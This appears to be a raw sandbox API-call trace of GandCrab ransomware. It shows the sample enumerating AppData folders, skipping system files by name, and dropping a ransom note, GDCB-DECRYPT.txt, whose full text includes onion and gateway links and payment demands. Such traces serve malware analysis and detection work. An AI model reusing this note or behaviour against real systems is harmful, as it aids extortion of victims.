lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0053.325] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0053.325] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0053.325] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.325] FindNextFileW (in: hFindFile=0x589460, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.325] lstrcmpW (lpString1="NAHQNPMN", lpString2=".") returned 1 [0053.325] lstrcmpW (lpString1="NAHQNPMN", lpString2="..") returned 1 [0053.325] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\", lpString2="NAHQNPMN" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN" [0053.325] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\" [0053.325] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.325] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.325] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.325] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.325] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.325] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.326] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\") returned 77 [0053.326] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\*" [0053.326] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x5894a0 [0053.326] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.326] FindNextFileW (in: hFindFile=0x5894a0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0053.326] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.326] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.326] FindNextFileW (in: hFindFile=0x5894a0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0053.326] FindClose (in: hFindFile=0x5894a0 | out: hFindFile=0x5894a0) returned 1 [0053.326] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.326] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\\\GDCB-DECRYPT.txt") returned 94 [0053.326] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\flash player\\assetcache\\nahqnpmn\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x500 [0053.326] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0053.326] WriteFile (in: hFile=0x500, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e864, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e864*=0xad6, lpOverlapped=0x0) returned 1 [0053.327] CloseHandle (hObject=0x500) returned 1 [0053.327] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.327] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\") returned 77 [0053.327] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\*" [0053.327] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x5894a0 [0053.327] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.327] FindNextFileW (in: hFindFile=0x5894a0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0053.327] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.328] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.328] FindNextFileW (in: hFindFile=0x5894a0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0053.328] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0053.328] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0053.328] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\GDCB-DECRYPT.txt" [0053.328] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.328] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\GDCB-DECRYPT.txt") returned 93 [0053.328] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\GDCB-DECRYPT.txt") returned 93 [0053.328] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\GDCB-DECRYPT.txt") returned 93 [0053.328] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\GDCB-DECRYPT.txt") returned 93 [0053.328] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0053.328] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0053.328] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0053.328] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0053.328] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0053.328] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0053.328] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0053.328] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0053.328] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0053.328] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.328] FindNextFileW (in: hFindFile=0x5894a0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0053.328] FindClose (in: hFindFile=0x5894a0 | out: hFindFile=0x5894a0) returned 1 [0053.328] FindNextFileW (in: hFindFile=0x589460, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0053.328] FindClose (in: hFindFile=0x589460 | out: hFindFile=0x589460) returned 1 [0053.328] FindNextFileW (in: hFindFile=0x589060, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0053.328] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0053.328] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0053.328] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\GDCB-DECRYPT.txt" [0053.328] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.329] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\GDCB-DECRYPT.txt") returned 73 [0053.329] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\GDCB-DECRYPT.txt") returned 73 [0053.329] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\GDCB-DECRYPT.txt") returned 73 [0053.329] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\GDCB-DECRYPT.txt") returned 73 [0053.329] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0053.329] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0053.329] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0053.329] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0053.329] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0053.329] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0053.329] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0053.329] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0053.329] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0053.329] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.329] FindNextFileW (in: hFindFile=0x589060, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0053.329] lstrcmpW (lpString1="NativeCache", lpString2=".") returned 1 [0053.329] lstrcmpW (lpString1="NativeCache", lpString2="..") returned 1 [0053.329] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\", lpString2="NativeCache" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache" [0053.329] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\" [0053.329] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.329] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.329] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.329] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.329] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.329] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.329] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\") returned 69 [0053.329] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\*" [0053.329] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x589320 [0053.330] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.330] FindNextFileW (in: hFindFile=0x589320, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0053.330] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.330] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.330] FindNextFileW (in: hFindFile=0x589320, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0053.330] lstrcmpW (lpString1="NativeCache.directory", lpString2=".") returned 1 [0053.330] lstrcmpW (lpString1="NativeCache.directory", lpString2="..") returned 1 [0053.330] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\", lpString2="NativeCache.directory" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory" [0053.330] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory") returned 90 [0053.330] lstrcmpW (lpString1=".directory", lpString2=".sql") returned -1 [0053.330] FindNextFileW (in: hFindFile=0x589320, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0053.330] FindClose (in: hFindFile=0x589320 | out: hFindFile=0x589320) returned 1 [0053.330] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.330] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\\\GDCB-DECRYPT.txt") returned 86 [0053.330] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\flash player\\nativecache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0053.332] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0053.332] WriteFile (in: hFile=0x4fc, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285eaec, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285eaec*=0xad6, lpOverlapped=0x0) returned 1 [0053.332] CloseHandle (hObject=0x4fc) returned 1 [0053.333] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.333] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\") returned 69 [0053.333] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\*" [0053.333] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x5891a0 [0053.333] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.333] FindNextFileW (in: hFindFile=0x5891a0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.333] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.333] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.333] FindNextFileW (in: hFindFile=0x5891a0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.333] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0053.333] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0053.333] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\GDCB-DECRYPT.txt" [0053.333] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.334] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\GDCB-DECRYPT.txt") returned 85 [0053.334] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\GDCB-DECRYPT.txt") returned 85 [0053.334] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\GDCB-DECRYPT.txt") returned 85 [0053.334] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\GDCB-DECRYPT.txt") returned 85 [0053.334] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0053.334] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0053.334] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0053.334] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0053.334] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0053.334] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0053.334] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0053.334] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0053.334] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0053.334] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.334] FindNextFileW (in: hFindFile=0x5891a0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.334] lstrcmpW (lpString1="NativeCache.directory", lpString2=".") returned 1 [0053.334] lstrcmpW (lpString1="NativeCache.directory", lpString2="..") returned 1 [0053.334] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\", lpString2="NativeCache.directory" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory" [0053.334] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.334] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory") returned 90 [0053.334] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory") returned 90 [0053.334] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.334] FindNextFileW (in: hFindFile=0x5891a0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0053.334] FindClose (in: hFindFile=0x5891a0 | out: hFindFile=0x5891a0) returned 1 [0053.334] FindNextFileW (in: hFindFile=0x589060, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0053.335] FindClose (in: hFindFile=0x589060 | out: hFindFile=0x589060) returned 1 [0053.335] FindNextFileW (in: hFindFile=0x589020, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0053.335] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0053.335] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0053.335] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\GDCB-DECRYPT.txt" [0053.335] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.335] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\GDCB-DECRYPT.txt") returned 60 [0053.335] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\GDCB-DECRYPT.txt") returned 60 [0053.335] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\GDCB-DECRYPT.txt") returned 60 [0053.335] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\GDCB-DECRYPT.txt") returned 60 [0053.335] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0053.335] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0053.335] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0053.335] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0053.335] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0053.335] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0053.335] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0053.335] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0053.335] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0053.335] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.335] FindNextFileW (in: hFindFile=0x589020, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0053.335] lstrcmpW (lpString1="Headlights", lpString2=".") returned 1 [0053.335] lstrcmpW (lpString1="Headlights", lpString2="..") returned 1 [0053.335] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="Headlights" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights" [0053.335] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\") 